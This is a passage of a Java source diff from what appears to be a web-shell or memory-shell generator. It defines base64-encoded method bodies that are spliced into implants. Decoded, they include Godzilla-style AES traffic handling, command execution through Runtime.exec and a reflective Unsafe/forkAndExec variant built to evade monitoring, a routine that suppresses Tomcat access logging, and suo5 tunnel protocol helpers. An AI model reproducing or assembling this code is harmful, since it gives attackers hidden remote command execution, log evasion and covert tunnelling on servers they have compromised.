QkJfSBjYXRjaCAoRXhjZXB0aW9uIGUyKSB7CgkJCX0KCQl9CgkJcmV0dXJuIHZhbHVlOwoJfQo="; + + // base64Encode + public static String BASE64_ENCODE_BYTE_TO_STRING = "cHVibGljIHN0YXRpYyBTdHJpbmcgYmFzZTY0RW5jb2RlKGJ5dGVbXSBicykgdGhyb3dzIEV4Y2VwdGlvbiB7CgkJQ2xhc3MgIGJhc2U2NDsKCQlTdHJpbmcgdmFsdWUgPSBudWxsOwoJCXRyeSB7CgkJCWJhc2U2NCA9IENsYXNzLmZvck5hbWUoImphdmEudXRpbC5CYXNlNjQiKTsKCQkJT2JqZWN0IEVuY29kZXIgPSBiYXNlNjQuZ2V0TWV0aG9kKCJnZXRFbmNvZGVyIiwgbmV3IENsYXNzW117bnVsbH0pLmludm9rZShudWxsLCBuZXcgT2JqZWN0W117bnVsbH0pOwoJCQl2YWx1ZSA9IChTdHJpbmcpIEVuY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImVuY29kZVRvU3RyaW5nIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzfSkuaW52b2tlKEVuY29kZXIsIG5ldyBPYmplY3RbXXtic30pOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CgkJCXRyeSB7CgkJCQliYXNlNjQgPSBDbGFzcy5mb3JOYW1lKCJzdW4ubWlzYy5CQVNFNjRFbmNvZGVyIik7CgkJCQlPYmplY3QgRW5jb2RlciA9IGJhc2U2NC5uZXdJbnN0YW5jZSgpOwoJCQkJdmFsdWUgPSAoU3RyaW5nKSBFbmNvZGVyLmdldENsYXNzKCkuZ2V0TWV0aG9kKCJlbmNvZGUiLCBuZXcgQ2xhc3NbXXtieXRlW10uY2xhc3N9KS5pbnZva2UoRW5jb2RlciwgbmV3IE9iamVjdFtde2JzfSk7CgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCX0KCQl9CgkJcmV0dXJuIHZhbHVlOwoJfQ=="; + + // MD5 + public static String MD5 = "CXB1YmxpYyBzdGF0aWMgU3RyaW5nIG1kNShTdHJpbmcgcykgewoJCVN0cmluZyByZXQgPSBudWxsOwoJCXRyeSB7CgkJCWphdmEuc2VjdXJpdHkuTWVzc2FnZURpZ2VzdCBtOwoJCQltID0gamF2YS5zZWN1cml0eS5NZXNzYWdlRGlnZXN0LmdldEluc3RhbmNlKCJNRDUiKTsKCQkJbS51cGRhdGUocy5nZXRCeXRlcygpLCAwLCBzLmxlbmd0aCgpKTsKCQkJcmV0ID0gbmV3IGphdmEubWF0aC5CaWdJbnRlZ2VyKDEsIG0uZGlnZXN0KCkpLnRvU3RyaW5nKDE2KS50b1VwcGVyQ2FzZSgpOwoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJCXJldHVybiByZXQ7Cgl9"; + + // 哥斯拉 AES 方法 x(需要 Field xc) + public static String AES_FOR_GODZILLA = "CXB1YmxpYyBieXRlW10geChieXRlW10gcywgYm9vbGVhbiBtKSB7CgkJdHJ5IHsKCQkJamF2YXguY3J5cHRvLkNpcGhlciBjID0gamF2YXguY3J5cHRvLkNpcGhlci5nZXRJbnN0YW5jZSgiQUVTIik7CgkJCWMuaW5pdChtID8gMSA6IDIsIG5ldyBqYXZheC5jcnlwdG8uc3BlYy5TZWNyZXRLZXlTcGVjKHhjLmdldEJ5dGVzKCksICJBRVMiKSk7CgkJCXJldHVybiBjLmRvRmluYWwocyk7CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJcmV0dXJuIG51bGw7CgkJfQoJfQ=="; + + // 命令执行封装方法,使用反射调用 forkandexec, 需要 toCString getMethodByClass getMethodAndInvoke getFieldValue getUnsafe + public static String EXEC_CMD_OBSCURE = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdICAgICAgICAgICAgICAgICAgICAgIGNtZHMgICAgICAgICAgPSBudWxsOwoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgICAgICAgcHJvY2Vzc0NsYXNzICA9IG51bGw7CgkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzT2JqZWN0ID0gbnVsbDsKCQkJCXN1bi5taXNjLlVuc2FmZSAgICAgICAgICAgICAgIHVuc2FmZSAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGJhb3MgICAgICAgICAgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCWlmIChTeXN0ZW0uZ2V0UHJvcGVydHkoIm9zLm5hbWUiKS50b0xvd2VyQ2FzZSgpLmNvbnRhaW5zKCJ3aW4iKSkgewoJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117ImNtZCIsICIvYyIsIGNtZH07CgkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlByb2Nlc3NJbXBsIik7CgkJCQkJcHJvY2Vzc09iamVjdCA9IHVuc2FmZS5hbGxvY2F0ZUluc3RhbmNlKHByb2Nlc3NDbGFzcyk7CgkJCQkJbG9uZ1tdICAgICAgICAgICAgICAgICBzdGRIYW5kbGVzID0gbmV3IGxvbmdbXXstMUwsIC0xTCwgLTFMfTsKCQkJCQlqYXZhLmlvLkZpbGVEZXNjcmlwdG9yIHN0ZG91dF9mZCAgPSBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpOwoJCQkJCVN0cmluZ0J1aWxkZXIgICAgICAgICAgc2IgICAgICAgICA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CgoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgY21kcy5sZW5ndGg7IGkrKykgewoJCQkJCQlzYi5hcHBlbmQoY21kc1tpXSkuYXBwZW5kKCIgIik7CgkJCQkJfQoJCQkJCU9iamVjdCBoYW5kbGUgPSBnZXRNZXRob2RBbmRJbnZva2UocHJvY2Vzc09iamVjdCwgImNyZWF0ZSIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzcywgU3RyaW5nLmNsYXNzLCBTdHJpbmcuY2xhc3MsIGxvbmdbXS5jbGFzcywgYm9vbGVhbi5jbGFzc30sIG5ldyBPYmplY3RbXXtzYi50b1N0cmluZygpLnRyaW0oKSwgbnVsbCwgbnVsbCwgc3RkSGFuZGxlcywgamF2YS5sYW5nLkJvb2xlYW4uRkFMU0V9KTsKCQkJCQlpZiAoaGFuZGxlID09IG51bGwpIHsKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJjcmVhdGUiLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3MsIFN0cmluZy5jbGFzcywgU3RyaW5nLmNsYXNzLCBib29sZWFuLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzLCBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yLmNsYXNzfSwKCQkJCQkJCQluZXcgT2JqZWN0W117c2IudG9TdHJpbmcoKS50cmltKCksIG51bGwsIG51bGwsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFLCBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpLCBzdGRvdXRfZmQsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCl9KTsKCQkJCQl9IGVsc2UgewoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCA9IHByb2Nlc3NDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJoYW5kbGUiKTsKCQkJCQkJZmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJZmllbGQuc2V0KHByb2Nlc3NPYmplY3QsIGhhbmRsZSk7CgkJCQkJCWdldE1ldGhvZEFuZEludm9rZShnZXRGaWVsZFZhbHVlKHByb2Nlc3NPYmplY3QsICJmZEFjY2VzcyIpLCAic2V0SGFuZGxlIiwgbmV3IENsYXNzW117amF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgbG9uZy5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRvdXRfZmQsIExvbmcudmFsdWVPZihzdGRIYW5kbGVzWzFdKX0pOwoJCQkJCX0KCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZDIgPSBwcm9jZXNzQ2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgic3Rkb3V0X3N0cmVhbSIpOwoJCQkJCWZpZWxkMi5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJCWZpZWxkMi5zZXQocHJvY2Vzc09iamVjdCwgbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbShuZXcgamF2YS5pby5GaWxlSW5wdXRTdHJlYW0oc3Rkb3V0X2ZkKSkpOwoJCQkJfSBlbHNlIHsKCQkJCQljbWRzID0gbmV3IFN0cmluZ1tdeyIvYmluL2Jhc2giLCAiLWMiLCBjbWR9OwoJCQkJCXByb2Nlc3NDbGFzcyA9IENsYXNzLmZvck5hbWUoImphdmEubGFuZy5VTklYUHJvY2VzcyIpOwoJCQkJCXByb2Nlc3NPYmplY3QgPSB1bnNhZmUuYWxsb2NhdGVJbnN0YW5jZShwcm9jZXNzQ2xhc3MpOwoJCQkJCWJ5dGVbXVtdIGFyZ3MgPSBuZXcgYnl0ZVtjbWRzLmxlbmd0aCAtIDFdW107CgkJCQkJaW50ICAgICAgc2l6ZSA9IGFyZ3MubGVuZ3RoOwoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgYXJncy5sZW5ndGg7IGkrKykgewoJCQkJCQlhcmdzW2ldID0gY21kc1tpICsgMV0uZ2V0Qnl0ZXMoKTsKCQkJCQkJc2l6ZSArPSBhcmdzW2ldLmxlbmd0aDsKCQkJCQl9CgkJCQkJYnl0ZVtdIGFyZ0Jsb2NrID0gbmV3IGJ5dGVbc2l6ZV07CgkJCQkJaW50ICAgIGkgICAgICAgID0gMDsKCQkJCQlmb3IgKGludCBpMSA9IDA7IGkxIDwgYXJncy5sZW5ndGg7IGkxKyspIHsKCQkJCQkJU3lzdGVtLmFycmF5Y29weShhcmdzW2kxXSwgMCwgYXJnQmxvY2ssIGksIGFyZ3NbaTFdLmxlbmd0aCk7CgkJCQkJCWkgKz0gYXJnc1tpMV0ubGVuZ3RoICsgMTsKCQkJCQl9CgkJCQkJaW50W10gc3RkX2ZkcyA9IG5ldyBpbnRbXXstMSwgLTEsIC0xfTsKCgkJCQkJdHJ5IHsKCQkJCQkJT2JqZWN0IGxhdW5jaE1lY2hhbmlzbU9iamVjdCA9IGdldEZpZWxkVmFsdWUocHJvY2Vzc09iamVjdCwgImxhdW5jaE1lY2hhbmlzbSIpOwoJCQkJCQlieXRlW10gaGVscGVycGF0aE9iamVjdCAgICAgID0gKGJ5dGVbXSkgZ2V0RmllbGRWYWx1ZShwcm9jZXNzT2JqZWN0LCAiaGVscGVycGF0aCIpOwoJCQkJCQlpbnQgICAgb3JkaW5hbCAgICAgICAgICAgICAgID0gamF2YS5sYW5nLkludGVnZXIucGFyc2VJbnQoZ2V0TWV0aG9kQW5kSW52b2tlKGxhdW5jaE1lY2hhbmlzbU9iamVjdCwgIm9yZGluYWwiLCBudWxsLCBudWxsKS50b1N0cmluZygpKTsKCQkJCQkJZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJmb3JrQW5kRXhlYyIsIG5ldyBDbGFzc1tde2ludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGJ5dGVbXS5jbGFzcywgaW50LmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnRbXS5jbGFzcywgYm9vbGVhbi5jbGFzc30sIG5ldyBPYmplY3RbXXtJbnRlZ2VyLnZhbHVlT2Yob3JkaW5hbCArIDEpLCBoZWxwZXJwYXRoT2JqZWN0LCB0b0NTdHJpbmcoY21kc1swXSksIGFyZ0Jsb2NrLCBJbnRlZ2VyLnZhbHVlT2YoYXJncy5sZW5ndGgpLCBudWxsLCBJbnRlZ2VyLnZhbHVlT2YoMSksIG51bGwsIHN0ZF9mZHMsIGphdmEubGFuZy5Cb29sZWFuLkZBTFNFfSk7CgkJCQkJCWdldE1ldGhvZEFuZEludm9rZShwcm9jZXNzT2JqZWN0LCAiaW5pdFN0cmVhbXMiLCBuZXcgQ2xhc3NbXXtpbnRbXS5jbGFzc30sIG5ldyBPYmplY3RbXXtzdGRfZmRzfSk7CgkJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQkJCQkJamF2YS5pby5GaWxlRGVzY3JpcHRvciBzdGRvdXRfZmQgPSBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpOwoJCQkJCQlnZXRNZXRob2RBbmRJbnZva2UocHJvY2Vzc09iamVjdCwgImZvcmtBbmRFeGVjIiwgbmV3IENsYXNzW117Ynl0ZVtdLmNsYXNzLCBieXRlW10uY2xhc3MsIGludC5jbGFzcywgYnl0ZVtdLmNsYXNzLCBpbnQuY2xhc3MsIGJ5dGVbXS5jbGFzcywgYm9vbGVhbi5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzcywgamF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzc30sCgkJCQkJCQkJbmV3IE9iamVjdFtde3RvQ1N0cmluZyhjbWRzWzBdKSwgYXJnQmxvY2ssIEludGVnZXIudmFsdWVPZihhcmdzLmxlbmd0aCksIG51bGwsIEludGVnZXIudmFsdWVPZigxKSwgbnVsbCwgamF2YS5sYW5nLkJvb2xlYW4uRkFMU0UsIG5ldyBqYXZhLmlvLkZpbGVEZXNjcmlwdG9yKCksIHN0ZG91dF9mZCwgbmV3IGphdmEuaW8uRmlsZURlc2NyaXB0b3IoKX0pOwoJCQkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZDIgPSBwcm9jZXNzQ2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgic3Rkb3V0X3N0cmVhbSIpOwoJCQkJCQlmaWVsZDIuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCgkJCQkJCXRyeSB7CgkJCQkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICAgICAgICBkY2lzQ2xhc3MgICA9IENsYXNzLmZvck5hbWUoImphdmEubGFuZy5VTklYUHJvY2VzcyREZWZlcnJlZENsb3NlSW5wdXRTdHJlYW0iKTsKCQkJCQkJCWphdmEubGFuZy5yZWZsZWN0LkNvbnN0cnVjdG9yIGNvbnN0cnVjdG9yID0gZGNpc0NsYXNzLmdldERlY2xhcmVkQ29uc3RydWN0b3IobmV3IENsYXNzW117amF2YS5pby5GaWxlRGVzY3JpcHRvci5jbGFzc30pOwoJCQkJCQkJY29uc3RydWN0b3Iuc2V0QWNjZXNzaWJsZSh0cnVlKTsKCQkJCQkJCWZpZWxkMi5zZXQocHJvY2Vzc09iamVjdCwgbmV3IGphdmEuaW8uQnVmZmVyZWRJbnB1dFN0cmVhbSgoamF2YS5pby5JbnB1dFN0cmVhbSkgY29uc3RydWN0b3IubmV3SW5zdGFuY2UobmV3IE9iamVjdFtde3N0ZG91dF9mZH0pKSk7CgkJCQkJCX1jYXRjaCAoRXhjZXB0aW9uIG5ldmVyTWluZCl7CgkJCQkJCQlmaWVsZDIuc2V0KHByb2Nlc3NPYmplY3QsIG5ldyBqYXZhLmlvLkJ1ZmZlcmVkSW5wdXRTdHJlYW0obmV3IGphdmEuaW8uRmlsZUlucHV0U3RyZWFtKHN0ZG91dF9mZCkpKTsKCQkJCQkJfQoJCQkJCX0KCQkJCX0KCQkJCWphdmEuaW8uSW5wdXRTdHJlYW0gaW4gPSAoamF2YS5pby5JbnB1dFN0cmVhbSkgZ2V0TWV0aG9kQW5kSW52b2tlKHByb2Nlc3NPYmplY3QsICJnZXRJbnB1dFN0cmVhbSIsIG51bGwsIG51bGwpOwoJCQkJaW50ICAgICAgICAgICAgICAgICBhICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgIGIgID0gbmV3IGJ5dGVbMTAyNF07CgkJCQl3aGlsZSAoKGEgPSBpbi5yZWFkKGIpKSAhPSAtMSkgewoJCQkJCWJhb3Mud3JpdGUoYiwgMCwgYSk7CgkJCQl9CgkJCQlyZXR1cm4gYmFvczsKCQkJfQoJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJfQoJCXJldHVybiBudWxsOwoJfQ=="; + + // 命令执行封装方法,简单使用 Runtime.getRuntime().exec() + public static String EXEC_CMD = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdIGNtZHMgPSBudWxsOwoJCQkJaWYgKFN5c3RlbS5nZXRQcm9wZXJ0eSgib3MubmFtZSIpLnRvTG93ZXJDYXNlKCkuY29udGFpbnMoIndpbiIpKSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiY21kIiwgIi9jIiwgY21kfTsKCQkJCX0gZWxzZSB7CgkJCQkJY21kcyA9IG5ldyBTdHJpbmdbXXsiL2Jpbi9iYXNoIiwgIi1jIiwgY21kfTsKCQkJCX0KCgkJCQlqYXZhLmlvLklucHV0U3RyZWFtIGluID0gUnVudGltZS5nZXRSdW50aW1lKCkuZXhlYyhjbWRzKS5nZXRJbnB1dFN0cmVhbSgpOwoJCQkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYmFvcyA9IG5ldyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSgpOwoJCQkJaW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgYSAgICA9IDA7CgkJCQlieXRlW10gICAgICAgICAgICAgICAgICAgICAgICBiICAgID0gbmV3IGJ5dGVbMTAyNF07CgoJCQkJd2hpbGUgKChhID0gaW4ucmVhZChiKSkgIT0gLTEpIHsKCQkJCQliYW9zLndyaXRlKGIsIDAsIGEpOwoJCQkJfQoKCQkJCXJldHVybiBiYW9zOwoJCQl9CgkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsKCQl9CgoJCXJldHVybiBudWxsOwoJfQ=="; + + // Tomcat NO LOG 方法,需要 getFieldValue getMethodByClass getMethodAndInvoke + public static String TOMCAT_NO_LOG = "cHVibGljIHZvaWQgbm9Mb2coT2JqZWN0IHJlcU9iaikgewoJCXRyeSB7CgkJCU9iamVjdCAgICAgICAgICAgICAgICAgICAgICBhcHBsaWNhdGlvbkNvbnRleHQgPSBnZXRGaWVsZFZhbHVlKGdldE1ldGhvZEFuZEludm9rZShyZXFPYmosICJnZXRTZXJ2bGV0Q29udGV4dCIsIG51bGwsIG51bGwpLCAiY29udGV4dCIpOwoJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgY29udGFpbmVyICAgICAgICAgID0gZ2V0RmllbGRWYWx1ZShhcHBsaWNhdGlvbkNvbnRleHQsICJjb250ZXh0Iik7CgkJCWphdmEudXRpbC5BcnJheUxpc3QgYXJyYXlMaXN0ICAgICAgICAgID0gbmV3IGphdmEudXRpbC5BcnJheUxpc3QoKTsKCQkJd2hpbGUgKGNvbnRhaW5lciAhPSBudWxsKSB7CgkJCQlhcnJheUxpc3QuYWRkKGNvbnRhaW5lcik7CgkJCQljb250YWluZXIgPSBnZXRNZXRob2RBbmRJbnZva2UoY29udGFpbmVyLCAiZ2V0UGFyZW50IiwgbnVsbCwgbnVsbCk7CgkJCX0KCQkJZm9yIChpbnQgaSA9IDA7IGkgPCBhcnJheUxpc3Quc2l6ZSgpOyBpKyspIHsKCQkJCXRyeSB7CgkJCQkJT2JqZWN0IHBpcGVsaW5lID0gZ2V0TWV0aG9kQW5kSW52b2tlKGFycmF5TGlzdC5nZXQoaSksICJnZXRQaXBlbGluZSIsIG51bGwsIG51bGwpOwoJCQkJCWlmIChwaXBlbGluZSAhPSBudWxsKSB7CgkJCQkJCU9iamVjdCB2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZShwaXBlbGluZSwgImdldEZpcnN0IiwgbnVsbCwgbnVsbCk7CgkJCQkJCXdoaWxlICh2YWx2ZSAhPSBudWxsKSB7CgkJCQkJCQlpZiAoZ2V0TWV0aG9kQnlDbGFzcyh2YWx2ZS5nZXRDbGFzcygpLCAiZ2V0Q29uZGl0aW9uIiwgbnVsbCkgIT0gbnVsbCAmJiBnZXRNZXRob2RCeUNsYXNzKHZhbHZlLmdldENsYXNzKCksICJzZXRDb25kaXRpb24iLCBuZXcgQ2xhc3NbXXtTdHJpbmcuY2xhc3N9KSAhPSBudWxsKSB7CgkJCQkJCQkJU3RyaW5nIGNvbmRpdGlvbiA9IChTdHJpbmcpIGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldENvbmRpdGlvbiIsIG51bGwsIG51bGwpOwoJCQkJCQkJCWNvbmRpdGlvbiA9IChjb25kaXRpb24gPT0gbnVsbCkgPyAiV2hhdGV2ZXIiIDogY29uZGl0aW9uOwoJCQkJCQkJCWdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgInNldENvbmRpdGlvbiIsIG5ldyBDbGFzc1tde1N0cmluZy5jbGFzc30sIG5ldyBPYmplY3RbXXtjb25kaXRpb259KTsKCQkJCQkJCQlnZXRNZXRob2RBbmRJbnZva2UocmVxT2JqLCAic2V0QXR0cmlidXRlIiwgbmV3IENsYXNzW117U3RyaW5nLmNsYXNzLCBPYmplY3QuY2xhc3N9LCBuZXcgT2JqZWN0W117Y29uZGl0aW9uLCBjb25kaXRpb259KTsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCWlmIChDbGFzcy5mb3JOYW1lKCJvcmcuYXBhY2hlLmNhdGFsaW5hLlZhbHZlIiwgZmFsc2UsIGFwcGxpY2F0aW9uQ29udGV4dC5nZXRDbGFzcygpLmdldENsYXNzTG9hZGVyKCkpLmlzQXNzaWduYWJsZUZyb20odmFsdmUuZ2V0Q2xhc3MoKSkpIHsKCQkJCQkJCQl2YWx2ZSA9IGdldE1ldGhvZEFuZEludm9rZSh2YWx2ZSwgImdldE5leHQiLCBudWxsLCBudWxsKTsKCQkJCQkJCQljb250aW51ZTsKCQkJCQkJCX0KCQkJCQkJCXZhbHZlID0gbnVsbDsKCQkJCQkJfQoJCQkJCX0KCQkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CgkJCQl9CgkJCX0KCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCX0="; + + public static class SUO5 { + + // suo5 newCreate 方法 + public static String SUO5_NEW_CREATE = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3Q3JlYXRlKGJ5dGUgcykgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDR9KTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117c30pOwoJCXJldHVybiBtOwoJfQ=="; + + // suo5 newData 方法 + public static String SUO5_NEW_DATA = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGF0YShieXRlW10gZGF0YSkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDF9KTsKCQltLnB1dCgiZHQiLCBkYXRhKTsKCQlyZXR1cm4gbTsKCX0="; + + // suo5 newDel 方法 + public static String SUO5_NEW_DEL = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3RGVsKCkgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgiYWMiLCBuZXcgYnl0ZVtdezB4MDJ9KTsKCQlyZXR1cm4gbTsKCX0="; + + // suo5 setStream 方法,需要 Field gInStream,gOutStream + public static String SUO5_SET_STREAM = "cHJpdmF0ZSB2b2lkIHNldFN0cmVhbShqYXZhLmlvLklucHV0U3RyZWFtIGluLCBqYXZhLmlvLk91dHB1dFN0cmVhbSBvdXQpIHsKCQlnSW5TdHJlYW0gPSBpbjsKCQlnT3V0U3RyZWFtID0gb3V0OwoJfQ=="; + + // suo5 newStatus 方法 + public static String SUO5_NEW_STATUS = "CXByaXZhdGUgamF2YS51dGlsLkhhc2hNYXAgbmV3U3RhdHVzKGJ5dGUgYikgewoJCWphdmEudXRpbC5IYXNoTWFwIG0gPSBuZXcgamF2YS51dGlsLkhhc2hNYXAoKTsKCQltLnB1dCgicyIsIG5ldyBieXRlW117Yn0pOwoJCXJldHVybiBtOwoJfQo="; + + // suo5 u32toBytes 方法 + public static String SUO5_U32_TO_BYTES = "Ynl0ZVtdIHUzMnRvQnl0ZXMoaW50IGkpIHsKCQlieXRlW10gcmVzdWx0ID0gbmV3IGJ5dGVbNF07CgkJcmVzdWx0WzBdID0gKGJ5dGUpIChpID4+IDI0KTsKCQlyZXN1bHRbMV0gPSAoYnl0ZSkgKGkgPj4gMTYpOwoJCXJlc3VsdFsyXSA9IChieXRlKSAoaSA+PiA4KTsKCQlyZXN1bHRbM10gPSAoYnl0ZSkgKGkgLyo+PiAwKi8pOwoJCXJldHVybiByZXN1bHQ7Cgl9"; + + // suo5 bytesToU32 方法 + public static String SUO5_BYTES_TO_U32 = "aW50IGJ5dGVzVG9VMzIoYnl0ZVtdIGJ5dGVzKSB7CgkJcmV0dXJuICgoYnl0ZXNbMF0gJiAweEZGKSA8PCAyNCkgfAoJCQkJKChieXRlc1sxXSAmIDB4RkYpIDw8IDE2KSB8CgkJCQkoKGJ5dGVzWzJdICYgMHhGRikgPDwgOCkgfAoJCQkJKChieXRlc1szXSAmIDB4RkYpKTsKCX0="; + + // suo5 marshal 方法,需要 u32toBytes + public static String SUO5_MARSHAL = "cHJpdmF0ZSBieXRlW10gbWFyc2hhbChqYXZhLnV0aWwuSGFzaE1hcCBtKSB0aHJvd3MgamF2YS5pby5JT0V4Y2VwdGlvbiB7CgkJamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0gYnVmID0gbmV3IGphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtKCk7CgkJT2JqZWN0W10ga2V5U2V0ID0gbS5rZXlTZXQoKS50b0FycmF5KCk7CgkJCgkJZm9yIChpbnQgaSA9IDA7IGkgPCBrZXlTZXQubGVuZ3RoOyBpKyspIHsKCQkJU3RyaW5nIGtleSA9IGtleVNldFtpXS50b1N0cmluZygpOwoJCQlieXRlW10gdmFsdWUgPSAoYnl0ZVtdKW0uZ2V0KGtleSk7CgkJCWJ1Zi53cml0ZSgoYnl0ZSkga2V5Lmxlbmd0aCgpKTsKCQkJYnVmLndyaXRlKGtleS5nZXRCeXRlcygpKTsKCQkJYnVmLndyaXRlKHUzMnRvQnl0ZXMoKHZhbHVlKS5sZW5ndGgpKTsKCQkJYnVmLndyaXRlKHZhbHVlKTsKCQl9CgkJCgkJYnl0ZVtdICAgICAgICAgICAgICBkYXRhID0gYnVmLnRvQnl0ZUFycmF5KCk7CgkJamF2YS5uaW8uQnl0ZUJ1ZmZlciBkYnVmID0gamF2YS5uaW8uQnl0ZUJ1ZmZlci5hbGxvY2F0ZSg1ICsgZGF0YS5sZW5ndGgpOwoJCWRidWYucHV0SW50KGRhdGEubGVuZ3RoKTsKCQlieXRlIGtleSA9IGRhdGFbZGF0YS5sZW5ndGggLyAyXTsKCQlkYnVmLnB1dChrZXkpOwoJCWZvciAoaW50IGkgPSAwOyBpIDwgZGF0YS5sZW5ndGg7IGkrKykgewoJCX0KCQlkYnVmLnB1dChkYXRhKTsKCQlyZXR1cm4gZGJ1Zi5hcnJheSgpOwoJfQ=="; + + // suo5 unmarshal 方法,需要 bytesToU32 + public static String SUO5_UNMARSHAL = 